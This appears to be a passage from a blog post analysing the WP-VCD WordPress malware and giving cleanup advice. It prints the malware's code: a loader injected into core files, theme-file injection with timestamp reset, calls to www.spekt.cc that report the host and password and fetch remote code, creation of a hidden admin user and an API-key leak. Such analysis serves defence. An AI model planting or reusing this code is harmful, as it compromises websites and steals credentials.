we don’t have any idea about the presence of this malware. Thanks to wordfence for the firewall, it warn me about a change inside a core wp file,
Sample wp-includes/post.php :
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
[..Rest of File..]
Sample ../wp-includes/wp-vcd.php
The injected wp-vcd.php file starts with a long base64 encoded string named $install_code
$install_code = 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time
Sample ../wp-contents/themes/Your_Theme_Name/functions.php
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
if (strpos($content, 'WP_V_CD') === false){
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else { $ping = false; }
}
then it populates remotely a database/array of hostnames and passwords of the code injections via test.php and downloads the content of a remote txt file inside class.wp.php
if ($ping) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt')); }if ($ping2) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt'));//echo ABSPATH . ‘wp-includes/class.wp.php’; }
Sample ../wp-includes/class.wp.php
class.wp.php tries to inject a user inside the wp db
$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘100011111’, ‘100011111’, ‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’, ‘[email protected]’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’, ‘100010010’)”);
And messes with an Envato Market WordPress Toolkit API key, probably as a way to update themes.
if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’; echo esc_html( envato_market()->get_option( ‘token’ ) ); echo ‘</center></h2>’; } }
Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory.
function wp_temp_setupx($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname; unlink($tmpfname);
return get_defined_vars();
}
functions.php
The b64 is injected at the top of functions.php, and seeks inside the wp db for posts and links to substitute them with new content
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
The html content is in part present inside the php, and in part downloaded remotely, with the help of the remote codeX.php
if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];if($tmpcontent = @file_get_contents("http://www.spekt.cc/codeX.php?i=".$path))
It goes without saying that www.spekt.cc take advantage of the new domain privacy services to protect the identity of the registrants. They used WhoisGuard by Cloudflare.
Finally, Conclusion
Although that’s not a particularly dangerous malware,but yes this malware is capable to propagate in a shared hosting where multiple wordpress installations are present on the same root directory (cross site contamination). Extra care is needed to avoid to become victim of this kind of attacks even with an updated WordPress install.
Keep a firewall with core files changes monitoring and always update themes.
Find Sample of wp-vcd files here
Reach me at Github and let me know if you find anything suspicious.
Thanks for Reading whole article. Don’t be Selfish. Must share with your WordPress Friends.
Please report on Google Safe Browsingfor www.spekt.cc
Solution to remove this malware:
You can find more solution in response can be found at the end of this article.
See This Response > “By doing this I found a mention on a file from a plugin that I’ve downloaded from https://www.downloadfreethemes.download/ (yeah, judge me), that was installing this malware.”
“If your domain have multisite wordpress installation you need to be careful.If you have installed wordpress separately in subdomains or subdirectories, Like you install wordpress at Root domain dir eg. example.com and other wordpress installation in 2–3 subdomains like sub1.example.com , sub2.example.com etc., Your all subdomains can be affected by this attack.
Make sure this things. Use beyond comparator and compare your current directory structure on weekly or monthly basis.” — (via this Response)
“I found that most of shared hosting wordpress websites affected by this kind of attack.
What I want to suggest you, Keep backup of fresh wordpress installation, themes and plugins. Use beyond comparator (or any tool which can compare files and folders) and use it weekly or monthly.” — (Via this response)
After that, You need to remove above code from your wp-core and function.php (can be found inside your theme), use GOTMLS : Anti-Malware Security and Brute-Force Firewall to protect your wordpress from malwares.
“safety is better than cure.”
Edit #1: Here are some References of this article.
Thanks Manuel for your analysis and reference for the things, see his article. It helped a lot me to dig more about wp-vcd. I have used some of his snippet to show actual problem. You can also find his work on Github.
Thanks to GOTMLS : Anti-Malware Security and Brute-Force Firewall for scanning whole wp-core and theme automatically, and it can also notify/remove unknown threat found in your wp.
Thanks to Wordfence Security for letting us know when we have core file changes. Its really great to hear that wordfence is capable to detect many of malwares.
(Disclaimer : This article does not mean to violate copyrights or grabbing contents of someone else work or make offense to anyone else. This article will help victims of WP–VCD malware attack. This article is not made to gain merits on behalf of someone. Credits already mentioned above for their great work. This article is here to help people who were/are infected for Wp-vcd malware.)